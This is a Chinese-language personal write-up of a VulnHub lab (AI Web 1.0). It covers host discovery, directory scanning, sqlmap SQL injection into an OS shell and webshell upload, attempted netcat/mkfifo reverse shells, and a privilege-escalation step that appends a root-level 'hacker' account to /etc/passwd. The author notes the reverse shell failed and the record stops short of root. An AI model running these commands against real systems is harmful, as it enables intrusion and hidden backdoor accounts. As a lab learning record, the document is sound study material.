vulnhub靶场渗透学习

攻击机：192.168.100.251

目标机：192.168.100.17

netdiscover

netdiscover -r 192.168.100.1/24

 Currently scanning: Finished!   |   Screen View: Unique Hosts                                

 196 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 11760
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.100.1   00:50:56:c0:00:08    177   10620  VMware, Inc.
 192.168.100.2   00:50:56:fc:f2:a6      8     480  VMware, Inc.
 192.168.100.17  00:0c:29:93:fe:b3      7     420  VMware, Inc.
 192.168.100.254 00:50:56:e9:c0:90      4     240  VMware, Inc.

使用nmap扫描

┌──(root㉿kali)-[~]
└─# nmap -sS -sV -A -n 192.168.100.17
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-09 09:37 EST
Nmap scan report for 192.168.100.17
Host is up (0.00040s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd
| http-robots.txt: 2 disallowed entries
|_/m3diNf0/ /se3reTdir777/uploads/
|_http-title: AI Web 1.0
|_http-server-header: Apache
MAC Address: 00:0C:29:93:FE:B3 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.40 ms 192.168.100.17

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds

开启了80端口访问一下试试

有意思

使用dirb命令扫后台

┌──(root㉿kali)-[~]
└─# dirb http://192.168.100.17

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Jan  9 09:41:31 2024
URL_BASE: http://192.168.100.17/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.100.17/ ----
+ http://192.168.100.17/index.html (CODE:200|SIZE:141)
+ http://192.168.100.17/robots.txt (CODE:200|SIZE:82)
+ http://192.168.100.17/server-status (CODE:403|SIZE:222)                                     

-----------------
END_TIME: Tue Jan  9 09:41:34 2024
DOWNLOADED: 4612 - FOUND: 3

经典robots.txt



发现了两个目录/m3diNf0/和/se3reTdir777/uploads/依次进行访问。





都被forbidden了

再次使用dirb扫描

┌──(root㉿kali)-[~]
└─# dirb http://192.168.100.17/m3diNf0/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Jan  9 09:51:32 2024
URL_BASE: http://192.168.100.17/m3diNf0/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.100.17/m3diNf0/ ----
+ http://192.168.100.17/m3diNf0/info.php (CODE:200|SIZE:84268)                                

-----------------
END_TIME: Tue Jan  9 09:51:35 2024
DOWNLOADED: 4612 - FOUND: 1

发现网站绝对路径

┌──(root㉿kali)-[~]
└─# dirb http://192.168.100.17/se3reTdir777/uploads/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Jan  9 09:54:46 2024
URL_BASE: http://192.168.100.17/se3reTdir777/uploads/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.100.17/se3reTdir777/uploads/ ----

-----------------
END_TIME: Tue Jan  9 09:54:49 2024
DOWNLOADED: 4612 - FOUND: 0

这个一无所获

尝试退一个文件夹

┌──(root㉿kali)-[~]
└─# dirb http://192.168.100.17/se3reTdir777         

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Jan  9 09:56:55 2024
URL_BASE: http://192.168.100.17/se3reTdir777/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.100.17/se3reTdir777/ ----
+ http://192.168.100.17/se3reTdir777/index.php (CODE:200|SIZE:1228)
==> DIRECTORY: http://192.168.100.17/se3reTdir777/uploads/                                    

---- Entering directory: http://192.168.100.17/se3reTdir777/uploads/ ----

-----------------
END_TIME: Tue Jan  9 09:57:02 2024
DOWNLOADED: 9224 - FOUND: 1

发现index.php

尝试访问



大概是存在sql注入

尝试注入，确认存在字符型注入

SQLMAP注入

抓包查看注入地址

sqlmap -u "http://192.168.100.17/se3reTdir777/" --data "uid=1&Operation=Submit"  --dbs #列出库

sqlmap -u "http://192.168.100.17/se3reTdir777/" --data "uid=1&Operation=Submit"  -D aiweb1 --tables #列出表

没有什么能利用的信息

sqlmap -u "http://192.168.100.17/se3reTdir777/" --data "uid=1&Operation=Submit"  --level=3 --os-shell

获取到shell 但是权限比较低是www-data

翻译一下

web服务器支持哪种web应用语言?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP(默认)
> 4
您是否希望sqlmap进一步尝试激发完整的路径公开?[Y / n] Y
[10:10:35][警告]无法自动检索web服务器文档根目录
您想用什么作为可写目录?
[1]常用位置('/var/www/， /var/www/html， /var/www/htdocs， /usr/local/www/data， /var/apache2/htdocs， /var/www/nginx-default， /srv/www/htdocs， /usr/local/var/www')(默认)
[2]自定义位置
[3]自定义目录列表文件
[4]蛮力搜索
> 2
请提供一个逗号分隔的绝对目录路径列表:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
[10:11:04][警告]无法自动解析任何web服务器路径
[10:11:04] [INFO]试图通过限制'LINES ended BY'方法在'/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/'上上传文件
[10:11:04] [INFO]文件stager已成功上传到'/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/' - http://192.168.100.17:80/se3reTdir777/uploads/tmpuldll.php
[10:11:04] [INFO]已成功上传后门程序到'/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/' - http://192.168.100.17:80/se3reTdir777/uploads/tmpboeep.php
[10:11:04] [INFO]调用OS shell。要退出，请输入'x'或'q'并按ENTER
os-shell > id
要检索命令标准输出吗?[Y / n / a] Y
命令标准输出:'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell >

接下来尝试通过sqlmap进行文件上传

sqlmap -u "http://192.168.100.17/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./hack.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php

• file-write:去读取文件(hack.php)
• file-dest:后面加目标的绝对路径 已经生成木马的名称（hack.php）
  
  
  
  访问/se3reTdir777/uploads/hack.php
  
  

蚁剑连接，成功

反弹shell

监听端口

nc -lvvp 6666

nc -e /bin/bash 192.168.100.17 6666（发现-e参数不可用）

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.100.17 6666 >/tmp/f（回弹了shell）

python -c "import pty;pty.spawn('/bin/bash')"（python写交互）

https://cloud.tencent.com/developer/article/1818091



奇怪，端口监听不到，不懂捏

提权

查看哪些可以执行root权限

find / -user root -perm -4000 -print 2>/dev/null

查看版本



版本号为4.15.0-58-generic

搜索相关内核漏洞，查看有无可利用的

searchsploit linux kernel 4.15.0-58-generic



可以使用添加一个root 账号进行登入 提权 可以参考下面链接：

https://blog.csdn.net/Aluxian_/article/details/124240789?spm=1001.2014.3001.5501

echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash'>> /etc/passwd

然后

就是shell弹不回去，差最后一步。。

不然root登录即可

先这样捏，欢迎各位师傅指导。